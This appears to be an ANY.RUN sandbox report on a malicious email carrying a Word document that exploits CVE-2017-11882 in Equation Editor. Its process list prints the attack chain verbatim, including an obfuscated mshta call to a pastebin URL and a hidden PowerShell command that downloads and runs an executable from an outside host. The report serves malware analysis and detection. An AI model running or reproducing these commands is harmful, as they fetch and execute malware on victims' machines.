File name:

43kmtj46DnzR1nw.eml

Full analysis: https://app.any.run/tasks/a6c66e81-b25d-404f-8d30-9e946ec95b94
Verdict: Malicious activity
Analysis date: January 23, 2019, 10:10:16
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
cve-2017-11882
Indicators:
MIME: message/rfc822
File info: RFC 822 mail, ASCII text
MD5:

78F23EBA15B7FC7A6BC11C13F8801C96

SHA1:

9D224C96DFC43971CECA90648DED6084A6B4FAB9

SHA256:

55B0163E69C738C5B909CC0FA1C591FB0ECDC75FCC460172DB45F169E1BA097C

SSDEEP:

3072:sD431r7XVc/VqL2QP7Q6lF6JHnO/0Y+Dy+ln8GHPgHjN:sDu1rZc/VqL2QP7Qaoztl8GHPgHjN

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • mshta.exe (PID: 2984)

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3676)

    • Application was dropped or rewritten from another process

      • KRQVHK.Exe (PID: 3356)
      • KRQVHK.Exe (PID: 3012)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 3676)

    • Creates files in the user directory

      • mshta.exe (PID: 2984)
      • OUTLOOK.EXE (PID: 3412)
      • powershell.exe (PID: 3248)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • cMd.exe (PID: 2464)

    • Reads Internet Cache Settings

      • OUTLOOK.EXE (PID: 3412)

    • Application launched itself

      • KRQVHK.Exe (PID: 3356)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3248)

  • INFO

    • Application was crashed

      • EQNEDT32.EXE (PID: 3676)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2432)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2432)
      • OUTLOOK.EXE (PID: 3412)

    • Reads internet explorer settings

      • mshta.exe (PID: 2984)

    • Reads settings of System Certificates

      • powershell.exe (PID: 3248)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.eml | E-Mail message (Var. 5) (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
8
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start outlook.exe winword.exe no specs eqnedt32.exe cmd.exe no specs mshta.exe powershell.exe krqvhk.exe no specs krqvhk.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2432"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\Docs GEFCO -# 850858001894.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
2464cMd /C mS^Ht^a ht^tp^s:^/^/pastebin.com/raw/H28nZ13UC:\Windows\system32\cMd.exe—EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2984mSHta https://pastebin.com/raw/H28nZ13UC:\Windows\system32\mshta.exe
cMd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\mshta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\mshtml.dll
c:\windows\system32\psapi.dll
3012C:\Users\admin\AppData\Local\Temp\KRQVHK.Exe" C:\Users\admin\AppData\Local\Temp\KRQVHK.Exe—KRQVHK.Exe
User:
admin
Company:
WIMPS3
Integrity Level:
MEDIUM
Exit code:
0
Version:
4.05.0007
Modules
Images
c:\users\admin\appdata\local\temp\krqvhk.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvbvm60.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
3248"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('https://my.mixtape.moe/ishowl.htaa',$env:Temp+'\KRQVHK.Exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\KRQVHK.Exe')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3356"C:\Users\admin\AppData\Local\Temp\KRQVHK.Exe" C:\Users\admin\AppData\Local\Temp\KRQVHK.Exe—powershell.exe
User:
admin
Company:
WIMPS3
Integrity Level:
MEDIUM
Exit code:
0
Version:
4.05.0007
Modules
Images
c:\users\admin\appdata\local\temp\krqvhk.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvbvm60.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
3412"C:\PROGRA~1\MICROS~1\Office14\OUTLOOK.EXE" /eml "C:\Users\admin\AppData\Local\Temp\43kmtj46DnzR1nw.eml"C:\PROGRA~1\MICROS~1\Office14\OUTLOOK.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Outlook
Exit code:
0
Version:
14.0.6025.1000
Modules
Images
c:\progra~1\micros~1\office14\outlook.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
3676"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
Total events
3 209
Read events
2 042
Write events
1 142
Delete events
25

Modification events

(PID) Process:(3412) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3412) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(3412) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\Resiliency\StartupItems
Operation:writeName:`&
Value:
7F602600540D0000010000000000000000000000
(PID) Process:(3412) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook
Operation:writeName:MTTT
Value:
540D0000D2134FE303B3D40100000000
(PID) Process:(3412) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\SQM
Operation:writeName:SQMSessionNumber
Value:
0
(PID) Process:(3412) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\SQM
Operation:writeName:SQMSessionDate
Value:
219877920
(PID) Process:(3412) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\NoMail\0a0d020000000000c000000000000046
Operation:writeName:00030429
Value:
03000000
(PID) Process:(3412) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\NoMail\9375CFF0413111d3B88A00104B2A6676
Operation:writeName:{ED475418-B0D6-11D2-8C3B-00104B2A6676}
Value:
(PID) Process:(3412) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\NoMail\9375CFF0413111d3B88A00104B2A6676
Operation:writeName:LastChangeVer
Value:
1200000000000000
(PID) Process:(3412) OUTLOOK.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109A10090400000000000F01FEC\Usage
Operation:writeName:OutlookMAPI2Intl_1033
Value:
1312227349
Executable files
1
Suspicious files
4
Text files
29
Unknown types
5

Dropped files

PID
Process
Filename
Type
3412OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\CVR8870.tmp.cvr —
MD5:—
SHA256:—
3412OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\tmp8A55.tmp —
MD5:—
SHA256:—
2432WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRB06A.tmp.cvr —
MD5:—
SHA256:—
3248powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Y0982TFDFIB73TXW6FGO.temp —
MD5:—
SHA256:—
3412OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\ED46B34B.dathtml
MD5:—
SHA256:—
3412OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\R8MAS2CW\Docs GEFCO -# 850858001894.docbinary
MD5:—
SHA256:—
2432WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
2984mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\H28nZ13U[1].txthtml
MD5:—
SHA256:—
2432WINWORD.EXEC:\Users\admin\Desktop\~$cs GEFCO -# 850858001894.docpgc
MD5:—
SHA256:—
2984mshta.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@pastebin[1].txttext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
3
DNS requests
3
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3412
OUTLOOK.EXE
GET
—
64.4.26.155:80
http://config.messenger.msn.com/config/msgrconfig.asmx?op=GetOlcConfig
US
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3412
OUTLOOK.EXE
64.4.26.155:80
config.messenger.msn.com
Microsoft Corporation
US
whitelisted
2984
mshta.exe
104.20.208.21:443
pastebin.com
Cloudflare Inc
US
shared
3248
powershell.exe
206.81.100.99:443
my.mixtape.moe
NapaNet
US
suspicious

DNS requests

Domain
IP
Reputation
config.messenger.msn.com
  • 64.4.26.155
whitelisted
pastebin.com
  • 104.20.208.21
  • 104.20.209.21
malicious
my.mixtape.moe
  • 206.81.100.99
unknown

Threats

Found threats are available for the paid subscriptions
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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Reports
43kmtj46DnzR1nw.eml